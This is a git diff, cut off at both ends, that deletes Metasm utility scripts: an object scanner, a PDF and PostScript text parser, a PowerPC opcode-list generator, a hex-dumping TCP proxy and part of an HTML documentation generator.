diff(o1[k], o2[k]) - h["[#{k.inspect}]"] = d if not d.empty? - } - else - a = (@@diff_accessor_cache ||= {})[o1.class] ||= (im = o1.class.public_instance_methods.grep(/^[a-z]/) ; (im & im.map { |m| m + '=' }).map { |m| m.chop }.find_all { |m| o1.instance_variable_get('@'+m) }) - if a.empty? - return o1 == o2 ? h : [o1, o2] - end - a.each { |k| - d = diff(o1.send(k), o2.send(k)) - h['.' + k] = d if not d.empty? - } - end - - # simplify tree - h.keys.each { |k| - if h[k].kind_of? Hash and h[k].length == 1 - v = h.delete k - h[k + v.keys.first] = v.values.first - end - } - - h - else - [o1, o2] - end -end diff --git a/lib/metasm/misc/objscan.rb b/lib/metasm/misc/objscan.rb deleted file mode 100644 index dc6b8e1ed2..0000000000 --- a/lib/metasm/misc/objscan.rb +++ /dev/null @@ -1,40 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# searches an object in the attributes of another -# anyobj.scan_for([obj]) => "anyobj.someattr[42]['blabla']" - -class Object - def scan_iter - case self - when ::Array - length.times { |i| yield self[i], "[#{i}]" } - when ::Hash - each { |k, v| yield v, "[#{k.inspect}]" ; yield k, "(key)" } - else - instance_variables.each { |i| yield instance_variable_get(i), ".#{i[1..-1]}" } - end - end - - # dumps to stdout the path to find some targets ( array of objects to match with == ) - def scan_for(targets, path='', done={}) - done[object_id] = self if done.empty? - if t = targets.find { |t_| self == t_ } - puts "found #{t} at #{path}" - end - scan_iter { |v, p| - case v - when Fixnum, Symbol; next - end - p = path+p - if done[v.object_id] - puts "loop #{p} -> #{done[v.object_id]}" if $VERBOSE - else - done[v.object_id] = p - v.scan_for(targets, p, done) - end - } - end -end diff --git a/lib/metasm/misc/pdfparse.rb b/lib/metasm/misc/pdfparse.rb deleted file mode 100644 index acc1cc9629..0000000000 --- a/lib/metasm/misc/pdfparse.rb +++ /dev/null @@ -1,661 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory -# -# parses a PDF file -# used by ppc_pdf2oplist -# - - -require 'zlib' - -# a Virtual string backed by a file, which is read on-demand -class VString - # creates a VString from a file - def self.read(fname) - raise 'need a PDF filename' if not fname - new File.open(fname, 'rb'), File.size(fname) - end - - def initialize(fd, len) - @fd = fd - @len = len - end - - def length; @len end - - def [](start, len=nil) - return if not start - if start.kind_of? Range - len = start.end - len -= 1 if start.exclude_end? - len = @len+1+len if len < 0 - start = start.begin - end - start = @len+1+start if start < 0 - return nil if start < 0 or len < 0 or start > @len - @fd.pos = start - @fd.read len - end - - # search on a small region (1k or 1M) - def index(sub, off=0) - off += 1 + @len if off < 0 - return if not ret = self[off, 1024].index(sub) || self[off, 1024*1024].index(sub) - ret + off - end - - # search on a small region (1k or 1M) - def rindex(sub, off=@len) - off += 1 + @len if off < 0 - p1 = [off, 1024].min - p2 = [off, 1024*1024].min - if ret = self[off-p1, p1].rindex(sub) - ret + off-p1 - elsif p1 != p2 and ret = self[off-p2, p2].rindex(sub) - ret + off-p2 - end - end -end - -# a PDF parser -class PDF - attr_accessor :str, :off, :trailer, :hdr, :xrefs, :xoff - - # reads a filename as a PDF using VString - def self.read(filename) - new(VString.read(filename)) - end - - def initialize(str=nil) - read str if str - end - - # reads a string as a PDF, interpret basic informations (header, trailer, xref table) - def read(str) - @str = str - @off = 0 - readhdr - raise 'bad pdf: no trailer' unless @off = @str.rindex("trailer", @str.length) - readtrailer - self - end - - def readhdr - @hdr = @str[@off, @off = @str.index("\n", @off)] - end - - # reads the pdf trailer - # XXX the xref table referenced here may be the first of the file, so we suppose the last is just before the 'trailer' command.. - def readtrailer - toff = @off - readcmd - @trailer = readhash - readcmd - @xroff = readint - @xoff = {} # [gen] => { id => off } - @xrefs = {} # [gen] => { id => obj } - @off = @xroff - readcmd - readxrtable - off2 = @off - if @off < toff and readcmd == 'trailer' and off = @str.rindex('xref', toff) - @off = off - readcmd - readxrtable - @off = off2 - readcmd - @trailer.update readhash - end - end - - def readxrtable - while @str[@off, 7] != 'trailer' - objnr = readint - objcnt = readint - @str[@off, 20*objcnt].scan(/(\d+) (\d+) (.)/) { |o, g, u| - (@xoff[g.to_i] ||= {})[objnr] = o.to_i if u == 'n' - objnr += 1 - } - @off += 20*objcnt - skipspc - end - end - - def readint - buf = '' - loop do - case c = @str[@off, 1] - when '+', '-'; break if not buf.empty? - when '.'; break if buf.include? '.' - when '0'..'9' - else break - end - buf << c - @off += 1 - end - return if buf.empty? - skipspc - buf.include?('.') ? buf.to_f : buf.to_i - end - - def readstr - buf = '' - case @str[@off, 1] - when '(' - nest = 0 - loop do - @off += 1 - case c = @str[@off, 1] - when '('; nest += 1 ; buf << c - when ')'; nest -= 1 ; break if nest < 0 ; buf << c - when '\\' - @off += 1 - case c = @str[@off, 1] - when 'n'; buf << ?\n - when 'r'; buf << ?\r - when 't'; buf << ?\t - when 'b'; buf << ?\b - when '0'..'7' - if ('0'..'7').include?(cc = @str[@off+1, 1]) - @off += 1 ; c << cc - if ('0'..'7').include?(cc = @str[@off+1, 1]) - @off += 1 ; c << cc - end - end - buf << c.to_i(8) - when nil; break - else buf << c - end - when nil; break - else buf << c - end - end - when '<' - loop do - @off += 1 - case c = @str[@off, 1] - when '0'..'9', 'a'..'f', 'A'..'F'; buf << c - when ' ', "\n", "\r", "\t" - else break - end - end - buf << '0' if buf.length % 2 == 1 - buf = [buf].pack('H*') - else return - end - @off += 1 - skipspc - buf - end - - def readname - return if @str[@off, 1] != '/' - buf = '' - loop do - @off += 1 - case c = @str[@off, 1] - when '#'; buf << @str[@off+1, 2].to_i(16) ; @off += 2 - when nil, /[\s\(\)\{\}<>\[\]\/]/; break - else buf << c - end - end - skipspc - buf - end - - def readarray - return if @str[@off, 1] != '[' - buf = [] - @off += 1 - skipspc - buf << readany until @str[@off, 1] == ']' or @off >= @str.length - @off += 1 - skipspc - buf - end - - def readhash - return if @str[@off, 2] != '<<' - buf = {} - @off += 2 - skipspc - buf[readname] = readany until @str[@off, 2] == '>>' or @off >= @str.length - buf.delete_if { |k, v| v == :null } - @off += 2 - skipspc - buf - end - - def readcmd - buf = '' - loop do - case c = @str[@off, 1] - when nil, /[\s\(\)\{\}<>\[\]\/%]/; break - else buf << c - end - @off += 1 - end - skipspc - buf - end - - def newstream(hash, data) - f = [hash['Filter']].flatten.compact - if f.length == 1 and f.first == 'FlateDecode' - data = Zlib::Inflate.inflate(data) - elsif f.length == 0 - else puts "stream filter #{f.inspect} unsupported" - end - hash[:data] = data - hash - end - - class Ref - attr_accessor :gen, :id - def initialize(pdf, gen, id) - @pdf, @gen, @id = pdf, gen, id - end - - def inspect - "#<Ref @pdf=#{@pdf.object_id.to_s(16)} @gen=#@gen @id=#@id>" - end - - def deref(depth=1) - @pdf.deref(self, depth) - end - - def method_missing(*a, &b) - deref.send(*a, &b) - end - end - - # reads & returns any pdf object according to its 1st char (almost) - # updates @xrefs if the object is indirect - def readany - case @str[@off, 1] - when nil; return - when '/'; readname - when '+', '-'; readint - when '0'..'9' - i = readint - if ('0'..'9').include?(@str[@off, 1]) - poff = @off - g = readint - case readcmd - when 'obj' - @xrefs[g] ||= {} - i = @xrefs[g][i] ||= readany - raise 'no endobj' if readcmd != 'endobj' - when 'R' - i = Ref.new(self, g, i) - else @off = poff - end - end - i - when '['; readarray - when '('; readstr - when '<' - if @str[@off+1, 1] == '<' - h = readhash - if @str[@off, 6] == 'stream' and i = @str.index("\n", @off) # readcmd may eat spaces that are part of the stream - l = h['Length'].to_i - h = newstream(h, @str[i+1, l]) - @off = i+1+l - skipspc - raise 'no endstream' if readcmd != 'endstream' - end - h - else readstr - end - else - case c = readcmd - when 'true', 'false', 'null'; c.to_sym - when 'xref'; readxrtable ; (@trailer ||= {}).update readhash if readcmd == 'trailer' ; readint if readcmd == 'startxref' ; :xref - else raise "unknown cmd #{c.inspect}" - end - end - end - - def skipspc - while @off < @str.length - case @str[@off, 1] - when '%'; @off += 1 until @str[@off, 1] == "\n" or @off >= @str.length - when ' ', "\n", "\r", "\t" - else break - end - @off += 1 - end - end - - # dereference references from the specified root, with the specified depth - def deref(obj, depth=1) - if obj.kind_of? Ref - @xrefs[obj.gen] ||= {} - if not nobj = @xrefs[obj.gen][obj.id] - pvoff = @off - raise 'unknown ref off' unless @off = @xoff[obj.gen][obj.id] - puts "deref #{obj.gen} #{obj.id} => #{@off.to_s(16)}" if $DEBUG - nobj = @xrefs[obj.gen][obj.id] = readany || :poil - @off = pvoff - end - obj = nobj - end - depth -= 1 - case obj - when Hash; obj = obj.dup ; obj.each { |k, v| obj[k] = deref(v, depth) } - when Array; obj = obj.dup ; obj.each_with_index { |v, i| obj[i] = deref(v, depth) } - end if depth > 0 - obj - end - - # returns the :data field for a Hash or the concatenation of the :data fields of the children for an Array - def page_data(ct) - if deref(ct).kind_of? Array - ct.map { |c| c[:data] }.join - else - ct[:data] - end - end - - # iterates over the PDF pages, yields each PSPage - def each_page(h=@trailer['Root']['Pages']) - if h['Kids'] - h['Kids'].each { |k| each_page(k, &Proc.new) } - else - yield PSPage.new(page_data(h['Contents'])) - end - end - - # returns the nr-th page of the pdf as a PSPage - def page(nr, ar=@trailer['Root']['Pages']['Kids']) - ar.each { |kid| - if kid['Count'] - break page(nr, kid['Kids']) if nr <= kid['Count'] - nr -= kid['Count'] - else - nr -= 1 - break PSPage.new(page_data(kid['Contents'])) if nr <= 0 - end - } - end -end - -# a PostScript page (lines with position information) -class PSPage - class Line - CHARWIDTH=400 - attr_accessor :str, :x, :y, :fontx, :fonty - # parses a postscript line, returns a line with individual characters at the right place (more or less) - def initialize(str, x, y, fontx, fonty, charspc, wordspc) -@raw, @charspc, @wordspc = str, charspc, wordspc - @x, @y, @fontx, @fonty = x, y, fontx, fonty - str = str[1...-1] if str[0] == ?[ - @str = '' - bs = char = false - #lastchar = nil - spc = '' - str.each_byte { |b| - if not bs - # special chars (unescaped) - case b - when ?( # new word: honor word spacing - spc = (-spc.to_f/CHARWIDTH).round - if spc > 0 and not @str.empty? - @str << (' '*spc) - elsif spc < 0 - @str.chop! while @str[-1] == ?\ and (spc += 1) <= 0# and (lastchar != ?\ or @str[-2] == lastchar) - end - char = true - next - when ?\\ # bs character - bs = true - next - when ?) # end of word - char = false - spc = '' - next - end - end - - # octal escape sequence: leave as is (actual char depends on font) - if bs and (?0..?7).include? b; @str << ?\\ end - - bs = false - if char - # update current rendered string, honoring charspc - @str << b - @str << (' ' * (charspc*1000/CHARWIDTH).round) if charspc > 0.1 - @str << (' ' * (wordspc*1000/CHARWIDTH).round) if b == ?\ and wordspc > 0.1 - #lastchar = b - else - # between strings: store word spacing integer - spc << b - end - } -puts "(#{x}, #{y} #{fontx}, #{fonty}) #@str" if $VERBOSE - end - def to_s ; @str end - end - - attr_accessor :lines - def initialize(str=nil) - parse(str) if str - end - - # remove lines not within ymin and ymax - def clip_lines(ymin, ymax) - ymin, ymax = ymax, ymin if ymin > ymax - @lines.each { |la| la.delete_if { |l| l.y < ymin or l.y > ymax } } - @lines.delete_if { |la| la.empty? } - self - end - - # parse a postscript string to an array of paragraph (itself an array of lines) - # handles text strings and basic cursor position updates - def parse(str) - @lines = [] - curx = cury = 0 - fontx = fonty = 12 - charspc = wordspc = 0 - stack = [] - linelead = -12 - ps2tok(str) { |t| -case t -when Float, String; print "#{t} " -else puts t -end if $VERBOSE - case t - when Float, String; stack << t # be postfix ! - when :BT; intext = true ; @lines << [] # begin text - when :ET; intext = false # end text - when :Tj, :TJ # print line - @lines.last << Line.new(stack.pop, curx, cury, fontx, fonty, charspc, wordspc) - when :Td, :TD # move cursor - linelead = stack.last*fonty if t == :TD - cury += stack.pop*fonty - curx += stack.pop*fontx - when :'T*' # new line - cury += linelead - when :Tc # character spacing - # RHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - #3.17731 Tc 9 0 0 9 343.41 653.84998 Tm - #[(3T)3202(O)729(R)3179(A)-3689(S)3178(I)]TJ - # => 3 TO RA SI - charspc = stack.pop - when :Tw - wordspc = stack.pop - when :Tm # set transform matrix (scale, rotate, translate) - params = Array.new(6) { stack.pop }.reverse - next if params[0] == 0.0 # rotated text - fontx, _, _, fonty, curx, cury = params - end - } - end - - # yields PS tokens: floats, commands, and strings - def ps2tok(str) - loop do - case str - when ''; break - when /\A-?\d+(?:\.\d+)?/; tok = $&.to_f - when /\A\((?:\\.|[^\\)])*\)/; tok = $& - when /\A\[(?:[^\](]*\((?:\\.|[^\\)])*\))*[^\]]*\]/; tok = $& - when /\A[a-zA-Z0-9_*]+/; tok = $&.to_sym rescue nil - when /\A\S+/, /\A\s+/ - end - str = str[$&.length..-1] - yield tok if tok - end - end - - # renders the lines, according to the layout (almost ;) ) - def to_s - mx = @lines.flatten.map { |l| l.x }.min - py = nil - strs = [''] - @lines.sort_by { |la| -la.map { |l| l.y }.max.to_i }.each { |la| - y = la.map { |l| l.y }.max - strs.concat ['']*((py-y)/12) if py and py > y - la.sort_by { |l| [-l.y, l.x] }.each { |l| - # 9 == base font size - strs << '' if y > l.y+l.fonty*0.9 or strs.last.length*1000/Line::CHARWIDTH/9 > l.x-mx - strs[-1] = strs.last.ljust((l.x-mx)*1000/Line::CHARWIDTH/9-1) << ' ' << l.str - y = l.y - } - py = y if not py or py > y - } - strs.join("\n") - end -end - -if __FILE__ == $0 -require 'pp' -begin - pdf = PDF.read ARGV.shift - - if $VERBOSE - puts 'Info: ' - pp pdf.deref(pdf.trailer['Info']) - puts - end - - if not ARGV.empty? - ARGV.each { |pagenr| - puts pdf.page(pagenr.to_i) - } - else - puts 'Pages: ' - pagecnt = 0 - pdf.each_page { |page| - pagecnt += 1 - puts " ------- p.#{pagecnt} ---------", page - } - end -rescue - puts "at #{pdf.off.to_s(16) if pdf}", $!, $!.backtrace[0, 24] -end -end - -__END__ -PostScript text formatting, shamelessly ripped from the web (http://www.mactech.com/articles/mactech/Vol.15/15.09/PDFIntro/) - -Object 3, which contains the contents of page one of our document, is worth commenting on since it shows how text streams are used in PDF. The object looks like: - -3 0 obj -<< -/Length 168 ->> -stream -BT -/F4 1 Tf -12 0 0 12 50.64 731.52 Tm -0 0 0 rg -BX /GS2 gs EX -0 Tc -0 Tw -@charspc = charspc -[(This is 12-point )10(T)41(imes. ) - 18(This sentence will appear near - the top of page one.)]TJ -ET -endstream -endobj - -The stream object (which is 168 bytes long) is bracketed by BT and ET operators, for Begin Text and End Text. The Tf command selects our font and its size in user-space units, which is given as 1. "But aren't we using 12-point type?" you may be wondering. Yes, we are. That's specified in the next line, ending in Tm (which is the set-text-matrix operator). For space reasons, we won't say much about coordinate system transformations and matrices here, but if you're familiar with the use of matrices in PostScript, the same rules apply in PDF. A transform matrix is given by an array of six numbers, the first and fourth of which determine scaling in x and y, respectively. We see in our text matrix, the scaling factor is 12. That means we will use 12-point type. The last two numbers in the matrix (50.64 and 731.52) specify a translation, in user-space units. The effect of the translation is to put our text approximately 10.1 inches high on the page, with a left margin of 0.7 inch. - -The line ending with rg sets our ink color to an RGB value of 0 0 0, or black. The BX operator says that we are beginning a section that allows undefined operators. In this section, we apply the gs operator (which sets parameters in the extended graphics state), using /GS2 as our EGS specifications. The EX operator ends the section allowing undefined operators. In essence, we're saying "Any reading application that understands what's in this special section can execute the instructions contained there, but if you don't understand the instructions, just go on." The reason this section has to be handled this way is that extended graphics state instructions often contain device-dependent instructions. The lack of generality means we should bracket those instructions with BX/EX. - -The Tc and Tw operators are for setting character spacing and word spacing, respectively. - -Finally, we come to the text that will be displayed on our page. Oddly enough, it's specified in an array of text snippets interspersed with integers, such as: - -(This is 12-point )10(T)41(imes. ) - -The number 10 represents a kerning value, in thousandths of an em. (An em is a typographical unit of measurement equal to the size of the font.) This number is subtracted from the 'x' coordinate of the letter(s) that follow, displacing the text to the left. The capital 'T' is displaced 10 units to the left, while "imes. " is displaced 41 units. The TJ at the end of the array is the operator for "show text, allowing individual character spacing." - -Finally, ET closes off the text block, and endstream closes off the stream. - -b closepath, fill,and stroke path. -B fill and stroke path. -b* closepath, eofill,and stroke path. -B* eofill and stroke path. -BI begin image. -BMC begin marked content. -BT begin text object. -BX begin section allowing undefined operators. -c curveto. -cm concat. Concatenates the matrix to the current transform. -cs setcolorspace for fill. -CS setcolorspace for stroke. -d setdash. -Do execute the named XObject. -DP mark a place in the content stream, with a dictionary. -EI end image. -EMC end marked content. -ET end text object. -EX end section that allows undefined operators. -f fill path. -f* eofill Even/odd fill path. -g setgray (fill). -G setgray (stroke). -gs set parameters in the extended graphics state. -h closepath. -i setflat. -ID begin image data. -j setlinejoin. -J setlinecap. -k setcmykcolor (fill). -K setcmykcolor (stroke). -l lineto. -m moveto. -M setmiterlimit. -n end path without fill or stroke. -q save graphics state. -Q restore graphics state. -re rectangle. -rg setrgbcolor (fill). -RG setrgbcolor (stroke). -s closepath and stroke path. -S stroke path. -sc setcolor (fill). -SC setcolor (stroke). -sh shfill (shaded fill). -Tc set character spacing. -Td move text current point. -TD move text current point and set leading. -Tf set font name and size. -Tj show text. -TJ show text, allowing individual character positioning. -TL set leading. -Tm set text matrix. -Tr set text rendering mode. -Ts set super/subscripting text rise. -Tw set word spacing. -Tz set horizontal scaling. -T* move to start of next line. -v curveto. -w setlinewidth. -W clip. -y curveto. diff --git a/lib/metasm/misc/ppc_pdf2oplist.rb b/lib/metasm/misc/ppc_pdf2oplist.rb deleted file mode 100644 index 1dc9e3a64d..0000000000 --- a/lib/metasm/misc/ppc_pdf2oplist.rb +++ /dev/null @@ -1,192 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory -# -# parses the PPC specification PDF to generate the opcode list -# - -require 'pdfparse' - -$field_mask = {} -$field_shift = {} -$opcodes = [] -def make_instr(bins, bits, text) - # calc bitfields length from their offset - last = 32 - bitlen = [] - bits.reverse_each { |bit| - bitlen.unshift last-bit - last = bit - } - - # the opcode binary value (w/o fields) - bin = 0 - fields = [] - - # parse the data - bins.zip(bits, bitlen).each { |val, off, len| - off = 32-(off+len) - msk = (1 << len) - 1 - case val - when '/', '//', '///' # reserved field, value unspecified - when /^\d+$/; bin |= val.to_i << off # constant field - when /^[A-Za-z]+$/ - fld = val.downcase.to_sym - fld = "#{fld}_".to_sym while $field_mask[fld] and ($field_mask[fld] != msk or $field_shift[fld] != off) - fields << fld - $field_mask[fld] ||= msk - $field_shift[fld] ||= off - end - } - - text.each { |txt| - # fnabs FRT,FRB (Rc=0) - curbin = bin - curfields = fields.dup - txt.sub!(' Rc=1)', ' (Rc=1)') if txt.include? 'fdiv.' # typo: fdiv. has no '(' - if txt =~ /(.*\S)\s*\((\w+=.*)\)/ - txt = $1 - $2.split.each { |e| - raise e if e !~ /(\w+)=(\d+)/ - name, val = $1.downcase, $2.to_i - raise "bad bit #{name} in #{txt}" if not fld = curfields.find { |fld_| fld_.to_s.delete('_') == name } - curfields.delete fld - curbin |= val << $field_shift[fld] - } - end - opname, args = txt.split(/\s+/, 2) - args = args.to_s.downcase.split(/\s*,\s*/).map { |arg| fld = curfields.find { |fld_| fld_.to_s.delete('_') == arg } ; curfields.delete fld ; fld } - if args.include? nil and curfields.length == 2 and (curfields - [:ra, :d]).empty? - args[args.index(nil)] = :ra_i16 - curfields.clear - elsif args.include? nil and curfields.length == 2 and (curfields - [:ra, :ds]).empty? - args[args.index(nil)] = :ra_i16s - curfields.clear - elsif args.include? nil and curfields.length == 2 and (curfields - [:ra, :dq]).empty? - args[args.index(nil)] = :ra_i16q - curfields.clear - elsif args.include? nil and curfields.length == 1 - args[args.index(nil)] = curfields.shift - end - raise "bad args #{args.inspect} (#{curfields.inspect}) in #{txt}" if args.include? nil - $opcodes << [opname, curbin, args] - - n = (opname.inspect << ',').ljust(10) + '0x%08X' % curbin - n << ', ' if not args.empty? - puts "\taddop " + n + args.map { |e| e.inspect }.join(', ') - } -end - -# handle instruction aliases -# NOT WORKING -# should be implemented in the parser/displayer instead of opcode list -# manual work needed for eg conditionnal jumps -def make_alias(newop, newargs, oldop, oldargs) - raise "unknown alias #{newop} => #{oldop}" if not op = $opcodes.reverse.find { |op_| op_[0] == oldop } - op2 = op.dup - op2[0] = newop - oldargs.each_with_index { |oa, i| - # XXX bcctr 4, 6 -> bcctr 4, 6, 0 => not the work - if oa =~ /^[0-9]+$/ or oa =~ /^0x[0-9a-f]+$/i - fld = op[2][i] - op2[1] |= Integer(oa) << $field_shift[fld] - end - } - puts "#\talias #{newop} #{newargs.join(', ')} -> #{oldop} #{oldargs.join(', ')}".downcase -end - -require 'enumerator' -def epilog - puts "\n\t@field_shift = {" - puts $field_shift.sort_by { |k, v| k.to_s }.enum_slice(6).map { |slc| - "\t\t" + slc.map { |k, v| "#{k.inspect} => #{v}" }.join(', ') - }.join(",\n") - puts "\t}" - puts "\n\t@field_mask = {" - puts $field_mask.sort_by { |k, v| k.to_s }.enum_slice(6).map { |slc| - "\t\t" + slc.map { |k, v| "#{k.inspect} => #{v > 1000 ? '0x%X' % v : v}" }.join(', ') - }.join(",\n") - puts "\t}" -end - -$foundop = false -def parse_page(lines) - # all instr defining pages include this - return unless lines.find { |l| l.str =~ /Special Registers Altered|Memory Barrier Instructions|Data Cache Instructions/ } # sync L/dcbt - - ilist = [] # line buffer - extended = false - - # concat lines with same y - lines = lines.sort_by { |l| [-l.y, l.x] } - lastline = nil - lines.delete_if { |l| - if lastline and lastline.y == l.y and ([lastline.fontx, lastline.fonty] == [l.fontx, l.fonty] or l.str =~ /^\s*$/) - lastline.str << ' ' << l.str - true - else - lastline = l - false - end - } - - lines.each { |l| - # search for the bit indices list - if l.fonty < 7 and l.str =~ /^0 [\d ]+ 31\s*$/ and (ilist.last.str.split.length == l.str.split.length or ilist.last.str.split.length == l.str.split.length-1) - $foundop = true - bitindices = l.str.split.map { |i| i.to_i } - # previous line is the binary encoding - encoding = ilist.pop.str.split - bitindices.pop if encoding.length < bitindices.length - # previous line is the instruction text format - ilist.pop if ilist.last.str =~ /\[POWER2? mnemonics?: (.*)\]/ - text = [] - text.unshift l while l = ilist.pop and l = l.str and (l =~ /,|\)$/ or text.empty?) - ilist = [] - make_instr(encoding, bitindices, text) - elsif l.str.include? 'Special Registers Altered' - if not $foundop - puts ilist.map { |l_| "(#{l_.y}) #{l_.str}" } - puts lines.map { |l_| "(#{l_.y}) #{l_.str}" } if ilist.empty? - raise 'nofoundop' - else - $foundop = false - end - elsif l.str =~ /Extended:\s+Equivalent to:/ - extended = true - elsif extended - if l.str.include? ',' and l.str =~ /^(\S+)\s+(\S+)\s+(\S+)\s+(.*)/ and $opcodes.find { |op| op[0] == $3 } - newop, newargs, exop, exargs = $1, $2, $3, $4 - make_alias(newop, newargs.split(','), exop, exargs.split(',')) - else extended = false - end - else ilist << l - end - } -end - -# PowerPC Architecture v2.02: -# 1 - User Instruction Set -# 2 - Virtual Environment -# 3 - Operating Environment -Dir['PPC_Vers202_Book?_public.pdf'].sort.each { |book| - $stderr.puts book if $stderr.tty? - pdf = PDF.read book - pagecount = pdf.trailer['Root']['Pages']['Count'] || 0 - curpage = 0 - pdf.each_page { |p| - $stderr.print "#{curpage+=1}/#{pagecount} \r" if $stderr.tty? - p.clip_lines(50, 740) - list = p.lines.flatten - - # split columns - sp1, sp2 = list.partition { |l| l.x < 288 } - - parse_page(sp1) - parse_page(sp2) - } - $stderr.print " \r" if $stderr.tty? -} - -epilog() diff --git a/lib/metasm/misc/tcp_proxy_hex.rb b/lib/metasm/misc/tcp_proxy_hex.rb deleted file mode 100644 index 0ebe95f178..0000000000 --- a/lib/metasm/misc/tcp_proxy_hex.rb +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# this is a TCP proxy which dumps the transmitted data in hex on stdout -# usage: tcp_proxy <lhost> <lport> <rhost> <rport> [<timeout_s>] - -require 'socket' -require File.join(File.dirname(__FILE__), 'hexdump') - -def bouncepkt(clt, srv, timeout=nil) - s2c = '' - c2s = '' - loop do - break if not IO.select([clt, srv], nil, nil, timeout) - - while srv and s2c.length < 1024*16 and IO.select([srv], nil, nil, 0) - str = (srv.read(1) rescue nil) - if not str or str.empty? - srv = false - else - s2c << str - end - end - - while clt and c2s.length < 1024*16 and IO.select([clt], nil, nil, 0) - str = (clt.read(1) rescue nil) - if not str or str.empty? - clt = false - else - c2s << str - end - end - - if clt and s2c.length > 0 and IO.select(nil, [clt], nil, 0) - puts Time.now.strftime('s -> c %H:%M:%S') - s2c.hexdump(:fmt => ['c', 'a']) - clt.write s2c - s2c.replace '' - end - - if srv and c2s.length > 0 and IO.select(nil, [srv], nil, 0) - puts Time.now.strftime('c -> s %H:%M:%S') - c2s.hexdump(:fmt => ['c', 'a']) - srv.write c2s - c2s.replace '' - end - break if not clt or not srv - end -end - - -if $0 == __FILE__ -if ARGV.length < 4 - abort "usage: bnc <lhost> <lport> <rhost> <rport> [<timeout_s>]" -end - -lhost = ARGV.shift -lport = Integer(ARGV.shift) -rhost = ARGV.shift -rport = Integer(ARGV.shift) -timeout = Float(ARGV.shift) if not ARGV.empty? - -s = TCPServer.new(lhost, lport) - -loop do - puts "waiting..." - a = s.accept - puts "incoming connection" - c = TCPSocket.new(rhost, rport) - - begin - bouncepkt(a, c, timeout) - rescue SystemCallError - end - - puts "connection closed" - a.close - c.close -end -end diff --git a/lib/metasm/misc/txt2html.rb b/lib/metasm/misc/txt2html.rb deleted file mode 100644 index 3694a6245d..0000000000 --- a/lib/metasm/misc/txt2html.rb +++ /dev/null @@ -1,442 +0,0 @@ -#!/usr/bin/env ruby -# encoding: binary (rage) -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# This scripts is used to compile the Metasm documentation into html files -# Losely inspired from the rst syntax - -# stuff to generate html code -module Html -class Elem - attr_reader :name, :attrs, :content, :style - - IndentAdd = ' ' - LineLenMax = 80 - - def initialize(name, attrs=nil, content=nil) - @name = name - @attrs = Hash.new - @style = Hash.new - attrs.each { |k, v| set_attr(k, v) } if attrs - if content == false - @content = Array.new - @uniq = true - else - @content = content ? content : Array.new - @uniq = false - end - self - end - - @@quotechars = { - 'è' => 'è', - 'ë' => 'ë', - '>' => '>', - '<' => '<', - '"' => '"', - '&' => '&', - } - - def add(*content) - content.each { |e| - if (e.class == Array) - add(*e) - next - end - if e.class.ancestors.include? Elem - @content << e - else - @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})", 'm')) { |x| @@quotechars[x] } - end - } - self - end - alias << add - - def add_style(k, v) - @style[k] = v - self - end - - def set_attr(k, v) - if k == 'style' - v.split(/\s*;\s*/).each { |s| - add_style($1, $2) if s =~ /^\s*(\S+)\s*:\s*(.*?)\s*$/ - } - else - @attrs[k]=v - end - self - end - - def bg(c) - @style['background'] = c - self - end - - def hclass(c) - @attrs['class'] = c - self - end - - def length(start=nil) - # text length on one line w/o indent - if start - l = start.length - else - # '<name>' - l = @name.length + 2 - @attrs.each{ |k, v| - l += " #{k}=\"#{v}\"".length - } - # ' style=""' - last '; ' - l += 9-2 unless @style.empty? - # 'k: v; ' - @style.each{ |k, v| - l += "#{k}: #{v}; ".length - } - # ' /' - l += 2 if @uniq - end - @content.each{ |c| - l += c.length - } - # '</name>' - l += 3+@name.length unless @uniq - return l - end - - def to_s(indent = '') - attrs = @attrs.map { |k, v| " #{k}=\"#{v}\"" }.join - attrs += ' style="' + @style.map{ |k, v| "#{k}: #{v}" }.join('; ') + '"' unless @style.empty? - s = '' << indent << '<' << @name << attrs << (@uniq ? ' />' : '>') - if @uniq - s - elsif @name == 'pre' - s << @content.map { |c| c.to_s }.join.chomp << '</pre>' - else - if length(s) > LineLenMax - sindent = indent + IndentAdd - sep = "\n" - @content.each { |c| - case c - when Elem - if sep == '' - s << c.to_s(sindent).sub(/^\s+/, '') - else - news = c.to_s(sindent) - plen = s.length - (s.rindex("\n") || -1) - 1 - plen -= 1 if s[-1, 1] == ' ' - newss = news.sub(/^\s+/, '') - if not news.include?("\n") and s[-1] != ?> and - plen + 1 + newss.length <= LineLenMax - # concat inline tag to previous String - s << ' ' if s[-1, 1] != ' ' - s << newss - else - s << sep if c.name =~ /^h\d$/ and c != @content.first - s << sep << news - end - end - when String - cw = c.split(/\s+/) - if @name == 'p' and c.object_id == @content.first.object_id - cw.shift if cw[0] == '' - s << "\n" << sindent - else - s << cw.shift.to_s - end - plen = s.length - (s.rindex("\n") || -1) - 1 - while w = cw.shift - plen -= 1 if s[-1, 1] == ' ' - if plen + 1 + w.length > LineLenMax - s << "\n" << sindent - plen = sindent.length - end - s << ' ' if s[-1, 1] != ' ' - s << w - plen += w.length+1 - end - if c !~ /\s+$/ - sep = '' - next - end - else - s << sep << sindent << c.to_s - end - sep = "\n" - } - sep = "\n" if @name == 'p' - sep << indent if sep != '' - s << sep << "</#@name>" - else - s << @content.map { |c| c.to_s }.join << "</#@name>" - end - end - end - - def inspect - "<#{@name}"+@content.map{|c|"\n"+c.inspect}.join+"\n/#{@name}>" - end -end - -class Page < Elem - attr_reader :body, :head - def initialize - @body = Elem.new('body') - @head = Elem.new('head') - super('html', {'xmlns'=>'http://www.w3.org/1999/xhtml', 'xml:lang'=>'fr'}) - add(@head) - add(@body) - end - - def to_s - '<?xml version="1.0" 